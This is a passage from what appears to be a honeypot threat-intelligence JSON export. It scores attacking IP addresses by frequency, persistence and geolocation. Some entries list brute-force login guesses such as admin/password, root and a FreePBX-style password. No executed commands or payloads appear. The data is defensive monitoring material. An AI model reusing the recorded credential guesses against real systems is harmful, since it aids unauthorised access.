        "last_seen_30d": "2026-05-05T22:43:22.769000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "192.42.116.16": {
      "attack_count": 10,
      "first_seen": "2026-05-22T08:33:45.402Z",
      "last_seen": "2026-05-26T02:56:10.710Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "supermaint",
        "systems"
      ],
      "passwords_attempted": [
        "vivo@01011",
        "z4ng0rber"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 56.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 5.8,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 7,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-22T08:33:45.402000+00:00",
        "last_seen_30d": "2026-05-28T02:37:18.593000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Cowrie": 10,
        "H0neytr4p": 7,
        "Ciscoasa": 6,
        "Honeytrap": 2
      }
    },
    "205.210.31.197": {
      "attack_count": 10,
      "first_seen": "2026-05-16T16:21:42.193Z",
      "last_seen": "2026-05-20T10:38:53.035Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T22:44:31+00:00",
        "last_seen_30d": "2026-05-31T01:54:02.356000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 34,
        "Cowrie": 10,
        "ConPot": 1,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "35.205.214.148": {
      "attack_count": 10,
      "first_seen": "2026-05-05T14:53:29.246Z",
      "last_seen": "2026-05-05T14:53:34.603Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:53:29.246000+00:00",
        "last_seen_30d": "2026-05-05T14:54:40.210000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "66.132.172.196": {
      "attack_count": 10,
      "first_seen": "2026-05-22T19:36:23.131Z",
      "last_seen": "2026-05-22T19:37:11.776Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 28,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T04:51:41.062000+00:00",
        "last_seen_30d": "2026-05-30T06:35:01.675000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 33,
        "Cowrie": 10,
        "H0neytr4p": 4,
        "Dionaea": 2
      }
    },
    "177.39.125.45": {
      "attack_count": 8,
      "first_seen": "2026-05-03T06:02:33.932Z",
      "last_seen": "2026-05-03T06:08:36.411Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 52765,
      "as_org": "MAXXNET TELECOM",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:02:33.932000+00:00",
        "last_seen_30d": "2026-05-03T06:09:44.946000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "205.210.31.26": {
      "attack_count": 8,
      "first_seen": "2026-05-10T22:45:26.136Z",
      "last_seen": "2026-05-12T04:06:51.748Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 60.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 19.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 23,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T06:42:41+00:00",
        "last_seen_30d": "2026-05-30T09:44:38.122000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 8,
        "Honeytrap": 3
      }
    },
    "93.174.95.106": {
      "attack_count": 8,
      "first_seen": "2026-05-11T03:20:31.587Z",
      "last_seen": "2026-05-11T03:20:35.053Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 96.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 418,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:22:36+00:00",
        "last_seen_30d": "2026-05-31T09:46:20.815000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 317,
        "Honeytrap": 89,
        "Cowrie": 8,
        "Dionaea": 2,
        "Mailoney": 2
      }
    },
    "20.29.56.192": {
      "attack_count": 7,
      "first_seen": "2026-05-13T11:04:36.359Z",
      "last_seen": "2026-05-13T11:04:46.361Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 4.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 5,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T19:14:16.406000+00:00",
        "last_seen_30d": "2026-05-13T11:05:55.477000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 7,
        "Honeytrap": 7
      }
    },
    "128.140.89.220": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:23:50.738Z",
      "last_seen": "2026-05-05T00:23:58.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:23:50.738000+00:00",
        "last_seen_30d": "2026-05-05T00:25:05.388000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "14.103.131.52": {
      "attack_count": 6,
      "first_seen": "2026-05-11T12:03:36.056Z",
      "last_seen": "2026-05-11T12:11:53.041Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:03:36.056000+00:00",
        "last_seen_30d": "2026-05-11T12:12:53.711000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 2
      }
    },
    "201.127.97.157": {
      "attack_count": 6,
      "first_seen": "2026-05-04T00:33:23.380Z",
      "last_seen": "2026-05-04T00:35:35.162Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ciudad Ju\u00e1rez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:33:23.380000+00:00",
        "last_seen_30d": "2026-05-04T00:35:35.162000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 2
      }
    },
    "206.123.144.16": {
      "attack_count": 6,
      "first_seen": "2026-05-08T13:38:29.914Z",
      "last_seen": "2026-05-08T13:38:30.391Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 201813,
      "as_org": "Contrust Solutions S.R.L.",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 387,
        "days_active_30d": 9,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T06:40:57.871000+00:00",
        "last_seen_30d": "2026-05-12T23:50:37.551000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 258,
        "Honeytrap": 98,
        "CitrixHoneypot": 17,
        "Ciscoasa": 8,
        "Cowrie": 6
      }
    },
    "63.141.246.178": {
      "attack_count": 6,
      "first_seen": "2026-05-05T04:15:31.468Z",
      "last_seen": "2026-05-05T04:15:38.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 33387,
      "as_org": "Nocix, LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:15:31.468000+00:00",
        "last_seen_30d": "2026-05-05T04:16:45.479000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "8.222.181.172": {
      "attack_count": 6,
      "first_seen": "2026-05-28T11:16:17.087Z",
      "last_seen": "2026-05-28T11:16:20.827Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T22:07:54.076000+00:00",
        "last_seen_30d": "2026-05-28T11:17:28.096000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 6,
        "Dionaea": 5
      }
    },
    "185.220.101.144": {
      "attack_count": 5,
      "first_seen": "2026-05-21T05:38:49.692Z",
      "last_seen": "2026-05-21T05:39:00.408Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ph#na#do!freepbx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:38:49.692000+00:00",
        "last_seen_30d": "2026-05-21T05:40:07.235000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "106.13.70.73": {
      "attack_count": 4,
      "first_seen": "2026-05-23T21:32:18.049Z",
      "last_seen": "2026-05-23T21:34:18.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:32:18.049000+00:00",
        "last_seen_30d": "2026-05-23T21:45:07.251000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "118.103.213.196": {
      "attack_count": 4,
      "first_seen": "2026-05-04T07:21:57.247Z",
      "last_seen": "2026-05-27T11:25:55.192Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Incheon",
      "asn": 9976,
      "as_org": "Namincheon Brodcasting Co., Ltd.",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:21:57.247000+00:00",
        "last_seen_30d": "2026-05-27T11:27:14.457000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "185.139.138.99": {
      "attack_count": 4,
      "first_seen": "2026-05-12T11:56:03.913Z",
      "last_seen": "2026-05-12T11:58:11.272Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 201767,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:56:03.913000+00:00",
        "last_seen_30d": "2026-05-12T12:08:56.129000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "189.139.185.141": {
      "attack_count": 4,
      "first_seen": "2026-05-23T03:45:01.509Z",
      "last_seen": "2026-05-23T03:49:45.219Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuautitl\u00e1n Izcalli",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:45:01.509000+00:00",
        "last_seen_30d": "2026-05-23T04:00:18.440000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "190.109.227.76": {
      "attack_count": 4,
      "first_seen": "2026-05-23T06:57:16.014Z",
      "last_seen": "2026-05-31T14:27:15.603Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": null,
      "asn": 52495,
      "as_org": "Cotel Ltda.",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:57:16.014000+00:00",
        "last_seen_30d": "2026-05-31T14:28:17.956000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "199.45.155.95": {
      "attack_count": 4,
      "first_seen": "2026-05-28T08:42:37.556Z",
      "last_seen": "2026-05-28T08:42:52.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 83.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T03:55:07+00:00",
        "last_seen_30d": "2026-05-31T08:15:32.535000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 24,
        "Cowrie": 4,
        "Tanner": 3
      }
    },
    "2.57.122.195": {
      "attack_count": 4,
      "first_seen": "2026-05-10T04:02:44.958Z",
      "last_seen": "2026-05-10T04:02:46.495Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T04:02:44.958000+00:00",
        "last_seen_30d": "2026-05-10T04:03:50.090000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "205.210.31.55": {
      "attack_count": 4,
      "first_seen": "2026-05-19T16:22:47.080Z",
      "last_seen": "2026-05-19T16:22:50.510Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 92.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T09:59:51+00:00",
        "last_seen_30d": "2026-05-31T21:48:02.441000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 122,
        "Honeytrap": 37,
        "Dionaea": 6,
        "Cowrie": 4,
        "ConPot": 2
      }
    },
    "220.154.131.138": {
      "attack_count": 4,
      "first_seen": "2026-05-25T04:12:45.911Z",
      "last_seen": "2026-05-25T04:14:45.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:12:45.911000+00:00",
        "last_seen_30d": "2026-05-25T04:24:55.815000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "27.25.6.43": {
      "attack_count": 4,
      "first_seen": "2026-05-19T06:26:21.049Z",
      "last_seen": "2026-05-19T06:31:05.213Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:26:21.049000+00:00",
        "last_seen_30d": "2026-05-19T06:32:12.369000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "65.49.1.234": {
      "attack_count": 4,
      "first_seen": "2026-05-13T19:13:53.747Z",
      "last_seen": "2026-05-13T19:13:57.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 71.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 29,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T12:03:30.666000+00:00",
        "last_seen_30d": "2026-05-30T10:32:50.410000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "66.132.224.237": {
      "attack_count": 4,
      "first_seen": "2026-05-26T06:35:09.143Z",
      "last_seen": "2026-05-26T06:35:24.665Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 28,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-03T17:02:21+00:00",
        "last_seen_30d": "2026-05-30T08:34:57.833000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
